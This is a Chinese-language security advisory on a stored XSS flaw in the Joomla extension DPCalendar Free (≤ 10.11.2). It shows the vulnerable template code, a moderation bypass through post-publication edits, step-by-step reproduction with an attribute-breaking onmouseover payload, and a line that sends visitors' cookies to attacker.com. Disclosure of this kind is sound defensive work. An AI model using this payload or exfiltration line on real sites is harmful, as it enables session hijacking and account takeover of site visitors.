DPCalendar Free ≤ 10.11.2 — 作者角色用户绕过内容审核,通过位置标题注入持久型 XSS,任何访客悬停时触发
$location->title 字段在 default_locations.php 中未经 htmlspecialchars() 处理即被渲染。Joomla 服务端的 InputFilter::clean() 会从字符串字段中剥离 < 和 >,但允许 " 通过,这使得作者(Author)角色用户能够突破 HTML 属性上下文。当任何访客将鼠标悬停在事件页面的位置信息区域时,注入的 onmouseover 处理程序会在其浏览器会话中执行任意 JavaScript。
第二个设计缺陷放大了影响范围:EventController::allowEdit() 仅检查 created_by == current_user — 它不检查事件的发布状态。作者可以创建一个良性事件,由管理员发布,然后在发布后通过编辑关联位置的标题来静默武器化该位置,从而完全绕过内容审核。XSS 载荷在审核之后才被插入;管理员在审核周期中永远不会看到它。
| 组件 | 受影响版本 | 测试环境 | 修复版本 |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
类型: 存储型跨站脚本 / 输出编码不当 (CWE-79)
所需认证: 作者角色 — 前端用户(Joomla 第 4 组,创建事件的最低权限)
文件: site/tmpl/event/default_locations.php
$location->title 在 default_locations.php 的两个输出上下文中被直接输出 — 未经 htmlspecialchars() 处理。属性上下文是通过 Web 界面可利用的注入点,因为 Joomla 的 InputFilter 会阻止 <>,但会原样放行 "。
DEFAULT_LOCATIONS.PHP — 存在漏洞的输出注入点
// 注入点 1 — 文本内容(HTML 注入;通过 Web 界面提交时 <> 被 InputFilter 剥离)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// 注入点 2 — HTML 属性(属性注入;" 可通过 InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
标题值为 New Location" onmouseover="alert(document.domain) 时会被服务器原样存储。输出时,注入点 2 渲染为:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
onmouseover 属性成为渲染后 DOM 中的活动事件处理程序。
EventController::allowEdit() 允许任何作者编辑自己的事件,无论发布状态如何。攻击者通过提交一个正常事件供管理员审核来建立信任,然后在管理员发布后静默编辑关联位置以注入 XSS 载荷:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() 缺少状态检查
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ 未检查 $event->state — 已发布事件仍可由作者编辑
}
导航至前端登录表单,使用作者账户(Joomla 第 4 组 — 创建事件和位置所需的最低权限)登录。

导航至 /index.php?option=com_dpcalendar&view=form。创建一个标题干净的事件并关联任意现有位置(例如“Greater London”)。这可在引入载荷之前确立作者的合法性。


事件被提交审核。管理员登录并从 DPCalendar 后端发布该事件。事件现已上线,所有网站访客均可看到。

作为作者,导航至已发布的事件页面。编辑事件按钮仍然可见 — allowEdit() 不检查发布状态。点击编辑事件,进入位置选项卡,点击铅笔图标打开 locationform。

用载荷替换位置名称。Joomla 的 InputFilter 放行 " — 载荷被完整保存,并在输出时突破 HTML 属性上下文:
载荷 — 标题字段(LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

点击保存。
当任何用户 — 无论已认证还是匿名 — 访问事件详情页面并将光标移动到位置信息区域上方时,注入的 onmouseover 处理程序会立即触发。无需认证、无需点击,也无需除访问页面之外的任何进一步交互。

原始载荷在事件页面的位置区域中可见 — 未转义的标题被渲染为活动 HTML 属性:

将鼠标悬停在位置区域上方会在匿名访客的浏览器中触发警报对话框:

会话劫持 — 注入的处理程序可通过 fetch('//attacker.com/?c='+document.cookie) 窃取受害者的会话 Cookie,从而对任何查看该事件的角色实现完全账户接管。
持久性、事件范围的攻击面 — 载荷会一直存在,直到位置标题被手动修正。每个访问事件页面的用户 — 包括匿名访客 — 都会受到影响。高流量事件(公开会议、预订页面)会成倍增加受害者数量。
发布后信任绕过 — 由于作者可以在管理员批准后静默修改位置,载荷在内容审核期间永远不会被看到。良性事件通过审核;XSS 在之后才被插入。